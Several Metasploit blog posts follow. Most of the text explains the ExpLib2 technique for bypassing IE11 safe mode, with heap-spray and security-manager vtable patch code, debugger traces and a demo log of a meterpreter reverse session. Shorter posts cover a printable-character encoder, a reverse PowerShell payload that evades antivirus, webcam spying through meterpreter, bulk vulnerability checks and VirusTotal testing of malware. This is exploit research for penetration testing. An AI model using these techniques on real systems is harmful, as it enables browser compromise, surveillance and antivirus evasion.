As you can see from the above example, an array is sprayed (on the heap), and here's why: Heap spraying is a common technique to place something at a predicable location in memory, in this case so ExpLib2 can modify it to perform an information leak. JavaScript arrays are also much easier to work with, because in memory there's no randomization or any alignment problems, which yields predictability. As an optional reading, a recent presentation titled "The Art of Leaks: The Return of Heap Feng Shui" by ga1ois is a good one that explains better about array spraying in Javascript, which you might find interesting.


The following is the exact routine that ExpLib2 uses for spraying, and we'll explain about how it works:


ExpLib.prototype.spray = function() {
  this.arr_arr = new Array( num_arrays );

  var decl = "[";

  for ( var i = 0; i < this.arr_size - 1; ++ i ) {
    decl += '0,';

  decl += '0';
  decl += ']';

  for ( var i = 0; i < num_arrays; ++ i ) {
    this.arr_arr[i] = eval(decl);
    for(var j = 0; j < this.arr_contents.length; j++) {
      this.arr_arr[i][j] = this.arr_contents[j];


To use this spray() function, first off we need to initialize ExpLib2. We'll ask it to create 20 members for the array. Every member has the size of (0x1000 - 0x20) /4 (more about this later). And we expect the library to store one of the array members at this address: 0x1a1b3000


var explib = new ExpLib( 20,  (0x1000 - 0x20)/4 , 0x1a1b3000, new payload_exec('calc') );


Once the spray() function is called, the spraying begins. In the beginning, the 20 members are filled with zeros using an eval'ed array:


var decl = "[";
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
  decl += '0,';
decl += '0';
decl += ']';


Each member is (0x1000 - 0x20) / 4 big. What happens under the hood for the array creation can be examined in the Js::InterpreterStackFrame::OP_ProfiledNewScIntArray function in Jscript9.dll:


int __thiscall Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>(int this, int a2)

  if ( v8 )
    v9 = *v8;
    if ( !(v9 & 1) )
      // Js::JavascriptLibrary::CreateNativeIntArrayLiteral(uint)
      v10 = Js::JavascriptLibrary::CreateNativeIntArrayLiteral(*v5);

      // Js::JavascriptOperators::AddIntsToArraySegment(Js::SparseArraySegment<int> *,Js::AuxArray<int> const *)



The first call to Js::JavascriptLibrary::CreateNativeIntArrayLiteral() will initialize the Js::JavascriptnativeIntArray object and will allocate space to store the data. The second call to Js::JavascriptOperators::AddIntsToArraySegment() will fill the space with user-controlled data, which in this case is just nulls.


Let's examine the Js::JavascriptLibrary::CreateNativeIntArrayLiteral() function first a little more carefully. So in Jscript9, there are multiple variants of arrays like Integer arrays or float arrays. Our function, as the name implies, creates a "Native Int Array Literal". Although there are different types of arrays out there, note that they all have the same inheritance that goes all the way back to Js::DynamicObject:



As an example, our JavascriptNativeIntArray has the following layout in memory:


Screen Shot 2014-04-04 at 12.17.19 PM.png


Next, space for the array data will be allocated through the internal Jscript9 allocator. For arrays like the ones used by ExpLib2, if large enough, will go through LargeHeapBlock:


0:007> g
Breakpoint 3 hit
eax=0000018c ebx=00000ff0 ecx=0258aa98 edx=0254cb8c esi=00000ff0 edi=0254f344
eip=68be0594 esp=0344aef8 ebp=0344af1c iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
68be0594 8bff            mov    edi,edi
0:007> kb
ChildEBP RetAddr  Args to Child
0344aef4 68d03a7f 00000ff0 00000000 000003f8 jscript9!LargeHeapBlock::Alloc
0344af1c 68d03979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0xe1
0344af34 68d039f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
0344af4c 68d039b2 000003f8 000003f8 02925100 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
0344af80 68bc3a24 02548a78 02f69010 0344afc0 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
0344af90 68c4a9b5 000003f8 0344b3d0 02546f58 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a


LargeHeapBlock::Alloc will check if it has enough space available for the requested allocation. The actual requesting size should be data size plus the 0x10 header size. If there's space, it will return a pointer for the allocation, and then it will just adjust the position of the next available space.


.text:1006059D                mov    ecx, [ebp+arg_0] ; Allocation Request
.text:100605A0                push    edi
.text:100605A1                mov    ebx, [esi+1Ch]  ; Space Available
.text:100605A4                lea    edi, [ebx+10h]  ; Allocation Header Length: 0x10
.text:100605A7                lea    eax, [ecx+edi]  ; EAX = the limit of the allocation
.text:100605AA                cmp    eax, [esi+20h]  ; Compare with the max memory available for LargeHeapBlock
.text:100605AD                ja      loc_10060808
.text:100605B3                cmp    eax, edi
.text:100605B5                jb      loc_10060808
.text:100605BB                mov    dl, [ebp+arg_4]
.text:100605BE                mov    [esi+1Ch], eax  ; 0x1c stores the new pointer to the available space for allocations
.text:100605C1                mov    eax, [esi+14h]
.text:100605C4                mov    [ebx+4], ecx
.text:100605C7                mov    [ebx], eax
.text:100605C9                mov    eax, edi        ; Pointer to the memory to store the data


The allocation request eventually reaches VirtualAlloc through the JavaScript PageAllocator. The following demonstrates an allocation of 0x20000:


0:004> kb 10
ChildEBP RetAddr  Args to Child
0365b190 6b530184 00201000 00000004 02789410 jscript9!Segment::Initialize+0x31
0365b1a8 6b530122 00000000 02789410 0365b1d4 jscript9!PageAllocator::AllocPageSegment+0x34
0365b1b8 6b5300fa 02789414 0365b22c 02789410 jscript9!PageAllocator::AddPageSegment+0x14
0365b1d4 6b4d97d2 00000004 0365b20c 00000000 jscript9!PageAllocator::SnailAllocPages+0x3d
0365b1ec 6b4d98c1 00000004 0365b20c 02789410 jscript9!PageAllocator::AllocPages+0x3d
0365b204 6b5306e6 0365b22c 0365b224 00000000 jscript9!PageAllocator::Alloc+0x1d
0365b230 6b530880 00000ff0 0278fcd4 0365b260 jscript9!LargeHeapBucket::AddLargeHeapBlock+0x5d
0365b240 6b53085e 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::TryAllocFromNewHeapBlock+0xe
0365b260 6b67408d 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::SnailAlloc+0x3e
0365b28c 6b653979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0x10f
0365b2a4 6b6539f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
0365b2bc 6b6539b2 000003f8 000003f8 02f146a0 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
0365b2f0 6b513a24 02789408 0307d020 0365b330 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
0365b300 6b59a9b5 000003f8 0365b740 027878b0 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a
0365b330 6b59a92a 031ee480 027878b0 031ee480 jscript9!Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>+0x72
0365b738 6b4e0aa3 02efa550 031ee480 02efa540 jscript9!Js::InterpreterStackFrame::Process+0x472a


If you do get an allocation, there shouldn't be any randomization behind it. Other researchers like Yuki and @Ga1ois also pretty much claim the same thing.


Let's move on to the array data. Remember the (0x1000 - 0x20 / 4) size we talked about? Here's where that "0x20" comes from: when data is created, we must account for two things: The allocation header, and the array header. Each of them is 0x10 bytes, so that's where you got the 0x20. Having these into account will ensure you to get 0x1000-byte aligned allocations with LargeHeapBlock. Each array looks like the following:

Screen Shot 2014-04-04 at 5.57.23 PM.png


Some interesting information you want to remember:


  • Allocation header + 0x4 = Allocation Size
  • Array data header + 0x4 = Array Length
  • Array data header + 0x8 = Array Length
  • The array data would have an allocation pattern like this link.


So yup, that's it for our heap spraying. It's quite a lot of stuff to go through, isn't it? Does the code example above remind you how awesome Yuki Chen is to make this into one line of code?



Exploitation with Safe Mode Bypass in Internet Explorer 11


Like we said earlier, Yuki Chen's exploitation technique doesn't require any ROP, VirtualProtect, NtContinue, or custom shellcode, etc. It does require you to begin with a memory corruption of your own in order to modify an array you spray. Modify what, you ask? Well, by overwriting the length field of an array, which is found in the array data header, it is possible to read or write whatever is beyond the array data, and that is your typical information leak. By taking advantage of this, Yuki Chen managed to eventually disable safe mode in Internet Explorer to be able to run an unsafe ActiveX object like this:


var WshShell = new ActiveXObject("");
oExec = WshShell.Exec('calc.exe')


What ExpLib2 achieves for you is with that information leak, it will disclose the address of an ScriptEngine object, and then it finds the security manager from it at offset 0x21c, like this:

var original_securitymanager = this.read32( script_engine_addr + 0x21c );

Note that even though the security manager is an object, the symbols for it won't necessarily make sense to you. The vtable has your typical QueryInterface, AddRef, Release, the rest are all "TearoffThunk"s, which is sort of cryptic looking at first glance. An example of that can be found here. We were able to verity this is indeed the security manager by examining the ScriptSite::CreateObjectFromProgID function (which is used to create an ActiveX object):


signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)

  if ( a3 )
    pvReserved = &v13;
  if ( ScriptEngine::InSafeMode(*((_DWORD *)this + 1), (int)&v19) < 0 )
    return -2146827859;
  v5 = v19 ? CLSIDFromProgID(lpszProgID, &clsid) : CLSIDFromProgIDEx(lpszProgID, &clsid);
  if ( v5 < 0 || !ScriptEngine::CanCreateObject(*((_DWORD *)v4 + 1), (int)&clsid) )
    return -2146827859;
  v6 = 5;
  if ( a3 )
    if ( *(_DWORD *)(*((_DWORD *)v4 + 20) + 1164) >= 3 || v19 )
      return -2146827859;
    v6 = 16;
  if ( CoGetClassObject(&clsid, v6, pvReserved, &IID_IClassFactory, &ppv) < 0 )
    return -2146827859;
  v7 = (**(int (__stdcall ***)(LPVOID, GUID *, int *))ppv)(ppv, &IID_IClassFactoryEx, &v20) < 0;
  v8 = *(_DWORD *)ppv;
  if ( v7 )
    v9 = (*(int (__stdcall **)(LPVOID, _DWORD, GUID *, int))(v8 + 12))(ppv, 0, &IID_IUnknown, a4);
    (*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppv + 8))(ppv);
    if ( v9 >= 0 )
      if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
        return v9;
      (*(void (__stdcall **)(_DWORD))(**(_DWORD **)a4 + 8))(*(_DWORD *)a4);
      *(_DWORD *)a4 = 0;
      return -2146827859;
    (*(void (__stdcall **)(LPVOID))(v8 + 8))(ppv);
    pvReserved = 0;
    v11 = SiteService::Create(&pvReserved, v4);
    v12 = pvReserved;
    v9 = v11;
    if ( v11 >= 0 )
      v9 = (*(int (__stdcall **)(int, LPVOID, _DWORD, GUID *, int))(*(_DWORD *)v20 + 20))(
      if ( v9 >= 0 )
        (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
        goto LABEL_11;
    (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
    if ( v12 )
  return v9;


The first important thing here is the call to ScriptEngine::CanCreateObject function. There you can find an interesting call to ScriptEngine::GetSiteHostSecurityManagerNoRef() with an argument (var_4), which is the host of the security manager:


6c128362 8d45fc          lea     eax,[ebp-4]
6c128365 8bce            mov     ecx,esi
6c128367 50              push    eax
6c128368 e844000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (6c1283b1)


What follows next is the ScriptEngine::GetSiteHostSecurityManagerNoRef function will retrieve the security manager at offset 0x21c from the ScriptEngine object. You know, the same 0x21c offset that ExpLib2 refers to:


6c1283d5 8d9f1c020000    lea     ebx,[edi+21Ch]         ; Retrieve SecurityManager from ScriptEngine
6c1283db 3933            cmp     dword ptr [ebx],esi
6c1283dd 7412            je      jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef+0x40 (6c1283f1)
6c1283df 8b4d08          mov     ecx,dword ptr [ebp+8]
6c1283e2 8b03            mov     eax,dword ptr [ebx]
6c1283e4 5b              pop     ebx
6c1283e5 8901            mov     dword ptr [ecx],eax    ; Store the SecurityManager reference into the caller var_4
6c1283e7 8bc6            mov     eax,esi
6c1283e9 5f              pop     edi
6c1283ea 5e              pop     esi
6c1283eb 8be5            mov     esp,ebp
6c1283ed 5d              pop     ebp
6c1283ee c20400          ret     4


We can double check that 0x21c is indeed where is security manager is by hitting out breakpoint at address 0x6c1283d5, which is where the "lea ebx, [edi+21Ch]" instruction is:


Breakpoint 2 hit
eax=035ab150 ebx=035ab1dc ecx=0462eb98 edx=00000020 esi=00000000 edi=029b1dd8
eip=6c1283d5 esp=035ab12c ebp=035ab13c iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
6c1283d5 8d9f1c020000    lea    ebx,[edi+21Ch]


Ok, so we've hit the correct breakpoint. If we check EDI, it should point to the ScriptEngine object:


0:007> ln poi(edi)
(6bfc2298)  jscript9!ScriptEngine::`vftable'  |  (6c03d878)  jscript9!`string'
Exact matches:
    jscript9!ScriptEngine::`vftable' = <no type information>


At EDI+0x21c, we notice this pointer 0x68decd98 (this log is from another new debugging session, but you get the point):


0:007> dds poi(edi+21c) L1
00359c90  68decd98 MSHTML!s_apfnPlainTearoffVtable


If we take a look at this particular pointer, it brings us to the same "cryptic" looking vtable we found earlier, which verifies that this is indeed the security manager:

0:007> dds poi(poi(edi+21c))
68decd98  67fb87d7 MSHTML!PlainQueryInterface
68decd9c  67fad535 MSHTML!CDomEventRegistrationCallback2<CDiagnosticsElementEventHelper>::AddRef
68decda0  67faa906 MSHTML!PlainRelease
68decda4  681efba2 MSHTML!TearoffThunk3
68decda8  681b6f2b MSHTML!TearoffThunk4
68decdac  681b6efc MSHTML!TearoffThunk5
68decdb0  681bc2d9 MSHTML!TearoffThunk6
68decdb4  680f0bfd MSHTML!TearoffThunk7
68decdb8  681b7ecd MSHTML!TearoffThunk8
68decdbc  681f4109 MSHTML!TearoffThunk9
68decdc0  681c5978 MSHTML!TearoffThunk10
68decdc4  68110cf1 MSHTML!TearoffThunk11
68decdc8  68093831 MSHTML!TearoffThunk12
68decdcc  68455c0d MSHTML!TearoffThunk13
68decdd0  68322ce5 MSHTML!TearoffThunk14
68decdd4  681f4612 MSHTML!TearoffThunk15
68decdd8  683ea4cb MSHTML!TearoffThunk16
68decddc  681f56e8 MSHTML!TearoffThunk17
68decde0  683ec3c5 MSHTML!TearoffThunk18
68decde4  6846194c MSHTML!TearoffThunk19
68decde8  68212c40 MSHTML!TearoffThunk20
68decdec  68213049 MSHTML!TearoffThunk21
68decdf0  683e5d5a MSHTML!TearoffThunk22
68decdf4  683e50c1 MSHTML!TearoffThunk23
68decdf8  683c9755 MSHTML!TearoffThunk24
68decdfc  68209511 MSHTML!TearoffThunk25
68dece00  6848ab0e MSHTML!TearoffThunk26
68dece04  68408a2f MSHTML!TearoffThunk27
68dece08  68484220 MSHTML!TearoffThunk28
68dece0c  684b8d55 MSHTML!TearoffThunk29
68dece10  684b8f75 MSHTML!TearoffThunk30
68dece14  68417220 MSHTML!TearoffThunk31


Now back to ExpLib2. After it figures out where the security manager is (it also finds Jscript9's base, code start, code end for other things later on), it will copy it in order to create another fake one. It becomes fake because ExpLib2 modifies its security manager vtable, and then it modifies ScriptEngine's security manager reference at offset 0x21c to the fake one. And this is how we trick Internet Explorer into treating your unsafe ActiveX safe.


But hang on, that's not all of it. ExpLib2 also needs to patch two virtual functions in the fake security manager with the following sequences:


/* mov esp, ebp; pop ebp; ret 8; */
this.write32( fake_securitymanager_vtable + 0x14,
  this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) );

/* mov esp, ebp; pop ebp; ret 4; */
this.write32( fake_securitymanager_vtable + 0x10,
  this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) );


These two patches are meant for the type of payload you want to run. The first patch is for exec type of payload, and the second patch is for drop-and-execute type of payload. Let's focus on the first patch, because that should be enough to make a point for now.


To examine what the first patch is about, we'll breakpoint at the original virtual function MSHTML!TearoffThunk5 (offset 0x14), and see why it has to be faked. The breakpoint should lead us to ScriptEngine::CanObjectRun() based on the callstack:


0:007> g
Breakpoint 2 hit
eax=00359c90 ebx=00000000 ecx=68decd98 edx=027ab6a0 esi=027ab734 edi=027ab6c4
eip=681b6efc esp=027ab670 ebp=027ab6e0 iopl=0        nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000246
681b6efc 8b542404        mov    edx,dword ptr [esp+4] ss:0023:027ab674=909c3500
0:007> kb 5
ChildEBP RetAddr  Args to Child
027ab66c 66965d46 00359c90 66965d84 027ab6a0 MSHTML!TearoffThunk5
027ab6e0 66965bd1 027ab724 012a34cc 00000002 jscript9!ScriptEngine::CanObjectRun+0x89
027ab73c 66965a86 01c6afe0 00000000 027ab76c jscript9!ScriptSite::CreateObjectFromProgID+0xfd
027ab788 66965a03 01c6afe0 00000000 012f79c8 jscript9!ScriptSite::CreateActiveXObject+0x51
027ab7b8 66826f21 01df74c0 01000002 00000000 jscript9!JavascriptActiveXObject::NewInstance+0x99


After some stepping in the debugger, you should be able to tell that faking the virtual function at offset 0x14 is necessary: It needs to survive the CanObjectRun call, which allows a successful return from function CreateObjectFromProgID, and finally creating an ActiveXObject without any issues:


signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)
      if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
        return v9;


And that's really impressive work from Yuki Chen. In case you haven't realized, he managed to get code execution on Internet Explorer 11 without fighting every single memory protection like a boss. Reversing the JavaScript security model is also a fun one for all of us.



Metasploit Demo


In case you didn't know, ExpLib2 has already been merged into Metasploit. To demonstrate how to use it by an exploit module, we have two test cases for you to play with:



The difference between these two modules is the kind of payload you get with ExpLib2. We like explib2_ie11_drop_exec_test_case, because it pops a Metasploit meterpreter session, so we'll talk about that. To use it, make sure you place it as a loadable module by the Framework, and then:


> use exploit/windows/browser/explib2_ie11_drop_exec_test_case
msf exploit(explib2_ie11_drop_exec_test_case) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on
[*] Using URL:
[*]  Local IP:
[*] Server started.


Visit the page with a Windows 7 SP1 / IE11, an alert will pop up asking you to execute the following "ed" command. This is just a way to simulate a memory corruption vulnerability to overwrite the array data length. You should attach WinDBG to iexplore.exe, and run this ed command:


ed 1a1b3000+18 400


Next, you can either issue the "g" command to continue the process, or you can run the ".detach" command. And then go ahead and click on the alert.  After that, ExpLib2 should do its thing, and you should get a session like so:


msf exploit(explib2_ie11_drop_exec_test_case) >
[*]      explib2_ie11_drop_exec_test_case - Gathering target information.
[*]      explib2_ie11_drop_exec_test_case - Sending response HTML.
[*] Sending stage (769536 bytes) to
[*] Meterpreter session 1 opened ( -> at 2014-03-28 11:06:41 -0500

msf exploit(explib2_ie11_drop_exec_test_case) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter    : x86/win32


If you'd like to try ExpLib2 in Metasploit yourself, make sure to run an update and this should be in your repository. If you don't have a development environment, feel free to go through our Metasploit Development Environment wiki, and maybe submit a pull request if you'd like to improve it more. Finally, if you've never heard of Metasploit before, click here to enjoy thousands of exploits, auxiliaries, post modules, and more. It's FREE.

I Got 99 Problems but a Limited Charset Ain't One


In this week's Metasploit weekly update, we begin with OJ TheColonial Reeves' new optimized sub encoding module (opt_sub.rb). As the name implies, this encoder takes advantage of the SUB assembly instruction to encode a payload with printable characters that are file path friendly. Encoders like this are incredibly useful for developing a memory corruption exploit that triggers a file path buffer overflow, where you typically have a pretty limited character set to work with.


For those who are curious about how this works, we'll explain this with a basic demonstration. Say you want to put 0x41424344 (ASCII "DCBA") on the stack, the encoder begins with the string that you want to decode in a register (in this case, EDX):


PUSH EDX ; EDX=0x61616161 (ASCII "aaaa")


And then it will use EAX to do the decoding:


POP EAX  ; Now EAX has a copy too


In order to get 0x41424344, the encoder uses the SUB instruction:


SUB EAX, 0x61616162 ; EAX now should be 0xFFFFFFFF
SUB EAX, 0x50505050 ; EAX now should be 0xAFAFAFAF
SUB EAX, 0x6e6d6c6b ; EAX now should be 0x41424344


After that, the encoder simply does a PUSH and write that value on the stack:




And it repeats the same trick until a payload is fully decoded on the stack. A payload is often a few hundred bytes large, so if you try to do this manually with a hex calculator, you know it's pretty painful. To be honest, I'm glad OJ did this.


In a real world scenario, you should see an ESP alignment before the decoding (A SUB ESP, CONST instruction). The purpose for that is to make sure the decoded payload can be found after the decoder. So before your decoder runs, it looks like this in memory:


And here's after decoding:



To read more about the encoder, it's best to read the documentation here:


Also, kudos to Offensive Security for coming up with this encoding technique. I heard there's a guy named "ryujin" over there who's pure evil :-)


Another Powershell Payload? Yes, Please.


Another addition to the weekly update is a reverse Powershell payload from our friends Dave Kennedy of TrustedSec, and Ben Campbell (who ported the code to Metasploit). Powershell is a framework for Microsoft Windows that allows system administrators to perform task automation through scripting on top of .Net. Penetration testers, on the other hand, can use this technology to write payloads and post-exploitation for security assessments. It's easy to write, but one of my favorite things about Powershell scripts is that many antivirus products don't really seem to detect them, so if you're not taking advantage of this in your pentests, you're missing out :-)


The following demonstrates the new Powershell payload in action:


Screen Shot 2014-02-25 at 11.12.58 AM.png


If You Build it, Bugs Will Come


Other changes in this week's update include some minor bug fixes:


  • We added a file path check for the sqlmap.rb module. By default we don't actually ship sqlmap, so you may need to grab it from here, and then specify the SQLMAP_PATH datastore option in the Metasploit module.
  • API documentation for ldap.rb. Because the more documentation, the better.
  • The EXITFUNC datastore option is now a OptEnum instead of OptString. If you're a GUI user, it should be a drop-down menu instead of an input box.
  • Fix for a URL path bug in the Dexter (CasinoLoader) SQL injection exploit against Windows platforms.
  • More target coverage for the Ultra Minit HTTP buffer overflow exploit. Also improved reliability by fixing an issue with bad characters, and running the payload as a new thread instead of the request handler.
  • Fix for a URL path bug in the vtiger_soap_upload module (vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload).


If you are new to Metasploit, you can get started by downloading a copy of it for either Linux or Windows. If you're a Metasploit user, then please go ahead and run msfupdate to make sure you have the latest changes. For other users who are on packaged updates, including Metasploit Community, Metasploit Pro, and Kali, you can install this update from the Software Updates Menu under Administration.


For additional details on the weekly release notes, you may find them here.

im-watching-you.jpgDuring a recent business trip in Boston, Tod and I sat down in a bar with the rest of the Metasploit team, and shared our own random alcohol-driven ideas on Metasploit hacking. At one point we started talking about hacking webcams. At that time Metasploit could only list webcams, take a snapshot, stream (without sound), or record audio using a meterpreter... normally that should be enough for most cases, but hey, wouldn't it be cool if you could actually chat with the compromised user face-to-face? You never know, right? Maybe you're monitoring one particular user during a penetration test, and you notice all kinds of unsafe things he's doing, and you have the urge to jump in and go "hey, I am watching you!" and lecture him about security? Yeah, you can do that now. But obviously the possibilities are endless with this new capability, so as always I encourage you to use your imagination :-)


The technology we're borrowing to achieve video chatting is called Web Real-Time Communications, or WebRTC for short. WebRTC is a free, open source project (hooray for open source!) that enables web browsers to do voice calling, video chat, and file sharing with simply JavaScript APIs and HTML5. Many applications or websites have already implemented WebRTC. To experience its awesomeness, you can go to sites like Webcam Toy and try it yourself.


Anyways, back to Metasploit hacking. So what we've done here is we implemented WebRTC as a Windows meterpreter feature. If you wish to chat with a compromised user, simply issue a command like the following:


meterpreter > webcam_chat 
[*] Video chat session initialized.


A couple of things will happen under the hood when you use the "webcam_chat" command:


  1. It will first find a suitable browser on the remote machine: Chrome (version 23 or newer) or Firefox (version 22 or newer). Unfortunately Internet Explorer doesn't support WebRTC natively, so we'll see what Microsoft wants to do.
  2. Once a suitable browser is found on the remote machine, it will open that, and then initialize the video session.
  3. On your box (attacker), Metasploit will also find a suitable browser (again Chrome or Firefox), and then it will try to join the video session. When you're about to join, your browser will ask you to allow the webcam to turn on. Obviously you need to click yes/allow/share.
  4. And now let the fun begin.




As an attacker, your interface has the basic features like a YouTube video. You can full-screen (either yours or the remote user's), mute, and control volume (default at 50%). It looks like this:




The remote user's interface is different. It does not let the user do full-screen or volume control (but if they know how to use the Developer's Tools, I guess they will figure out, except normally I don't think you need to worry about it from average users), and the GUI looks something kind of like this:



Defeat webcam privacy invasion


I know what you're thinking. It kind of sucks if someone breaks into your computer, and it's really creepy if they're using your webcam. Well, on the subject of how to prevent illegal hacking is a multi-billion dollar question, and as far as I can tell nobody has quite figured out the perfect solution. I can tell you what to do or buy all kinds of things within your budget, but if you so insist on clicking on a "Please download this file and run it to accept your free trip to Hawaii", then there isn't much we can do about it. Wait, that's not true -- I can run the "webcam_chat" command to get in your face and yell at you to stop clicking on things :-)


If you're concerned about people spying on you with your webcam, there IS something you can do about it. Nothing fancy, instead of doing your normal silly things with the webcam facing you, how about you simply cover it up? If you're feeling fancy, you can always buy one of those webcam covers like the following from Amazon:




Play Time!


To try out the new WebRTC-based video chatting feature, people tracking the Metasploit open source development can simply run the msfupdate utility. If you're an user of Metasploit Pro or Kali Linux, you will receive this new toy in the next weekly update, the week of February 19th, 2014. If you've never tried Metasploit before, don't miss out the fun. Download a copy today.

scan_all_the_things.jpeg.jpgOne of the most popular requests I've received from professional penetration testers is that they often need to be able to break into a network as fast as possible, and as many as possible during an engagement. While Metasploit Pro or even the community edition already gives you a significant advantage in speed and efficiency, there is still quite a large group of hardcore Framework users out there, so we do whatever we can to improve everybody's hacking experience. A new trick we'd like to introduce today is the modified "check" command, which allows you to quickly identify vulnerable, or likely exploitable machines in a more accurate manner.


However, you should also understand that Metasploit isn't a real vulnerability scanner even though it has checks. For your vulnerability scanning needs, we recommend using a real scanner like Nexpose (or whatever it is you prefer), and import the results to Metasploit.


New Check Command Usage


Before these changes, users could only run the check command one host at a time, which made it less practical against a large network. You could write resource scripts to overcome this problem, but in reality not everybody is equipped with hands-on programming experience in Ruby and the Metasploit API. Well, this is no longer a challenge starting today. What you can do now is being able to check a range of hosts with whatever exploit or auxiliary module you're using, and you can specify the number of threads needed to perform this task. A very basic usage is demonstrated below:


msf> use exploit/windows/smb/ms08_067_netapi 
msf exploit(ms08_067_netapi) > set rhost
rhost =>
msf exploit(ms08_067_netapi) > check


Or it can be as simple as the following without the need to specify the RHOST or RHOSTS datastore option (auxiliary scanning modules use RHOSTS):


msf> use exploit/windows/smb/ms08_067_netapi 
msf exploit(ms08_067_netapi) > check


The default thread count is 1, but this is configurable. How many threads you can create depends on your system, so we advice you play around with it a little bit with a process monitor tool and decide for yourself. Here's an example of running a multi-threaded check to make the module scan faster:


msf exploit(ms08_067_netapi) > set THREADS 10
msf exploit(ms08_067_netapi) > check


Please note that all checks now are also less verbose than before by default, but if you prefer to be more well informed about what's happening, you can always set the VERBOSE datastore option to true.


New CheckCode Definitions


While adding this new feature to Metasploit, we also spent quite a lot of time redefining check codes and tweaking hundreds of existing modules and other files as an effort to allow users to better understand what the check is telling them, and use the module with more confidence. Please take your time to read the new guidelines before you decide to exploit anything:


  • Exploit::CheckCode::Unknown - The module fails to retrieve enough information from the target machine, such as due to a timeout or some kind of connection issue.
  • Exploit::CheckCode::Safe - The check fails to trigger the vulnerability, or even detect the service.
  • Exploit::CheckCode::Detected - The target is running the service in question, but the check fails to determine whether the target is vulnerable or not.
  • Exploit::CheckCode::Appears - This is used if the vulnerability is determined based on passive reconnaissance. For example: version, banner grabbing, or simply having the resource that's known to be vulnerable. There is no solid proof whether the target machine is actually exploitable or not.
  • Exploit::CheckCode::Vulnerable - The check is able to actually take advantage of the bug, and obtain some sort of hard evidence. For example: for a command execution type bug, it's able to execute a command and obtain an expected output. For a directory traversal, read a file from the target, etc. This level of check is pretty aggressive in nature, but normally shouldn't be DoSing the host as a way to prove the vulnerability.
  • Exploit::CheckCode::Unsupported - The module does not support the check method.


Module Developers


If you're interested in Metasploit module development, please also read our guidelines on how to write a check() method here.


And that's it for today. Current Metasploit users can simply run msfupdate and you shall receive these changes. However, to maximize your lightning-fast pwn power, feel free to try out Metasploit Pro or the community edition (free), and watch our recently-made video from David 'TheLightCosine' Maloney on "From Framework to Pro: How to Use Metasploit Pro in Penetration Tests."

VirusTotal is a free online service that allows you to analyze files or URLs in order to identify malware detectable by antivirus engines, and is one of the most popular ones in the community, so we decided to get a piece of that action. As offensive tool developers, we often find ourselves testing the capabilities of different AV products. There are usually two ways to achieve this, of course. You either spend some money and build your own lab, or you spend nothing and just use VirusTotal's API and submit your malware to analyze. Obviously there are plenty of reasons why VirusTotal is useful, but I'll let you explore your own creativity :-) The main purpose of the blog is to explain what we've done to assist your need of automatic malware analysis, and how to use it.


Before you start using these features, note that by default you are using Metasploit's public API key. What does this mean to you? It means as long as you're using the default key, we at Metasploit can see your submission. The data we can see include: The date of the submission, and the web version of the report (which is the same one you have). We don't actually have access to your malware sample. The following screenshot is an example:


Screen Shot 2014-01-10 at 6.17.16 PM.png




If you prefer your own key, you may obtain one free of charge at and sign up for an account. The public API key is limited to 4 requests of any nature per minute, non-commercial purposes, but this should be enough for personal research. If there is a popular demand for supporting the private API, we can jump on that as well. Please feel free to let us know.


We currently offer two different scripts for different scenarios. The standalone version is located under the "tools" directory, which implies this is generally used for some sort of development purposes (but of course, do whatever you want with it). Another one serves as a post module that allows you to check a remote file via a Metasploit payload... that's a little ironic, isn't it?


The Standalone virustotal.rb Utility


The standalone utility will upload your malware sample to VirusTotal, and the service will take care of the rest. If this is an unique malware, it may take several minutes to get a report. My experience is about 5 - 6+ minutes. If for some reason the waiting period takes more than an hour, then the script will automatically terminate, but you should still at least have the analysis link to check later manually. If there is already a report for your sample, it should only take a couple of seconds to get it.


It's very easy to get going, obviously you should at least have a malware ready, and then you can simply run the following command:


tools/virustotal.rb -f [PATH TO MALWARE FILE]


The -f option allows you to supply up to 4 files (again, because the API limit), and here's how to do that:


tools/virustotal.rb -f "[FILE_1 FILE_2 FILE_3 FILE_4]"


Like I said earlier, by default there's already a built-in API key, but you can also specify your own::


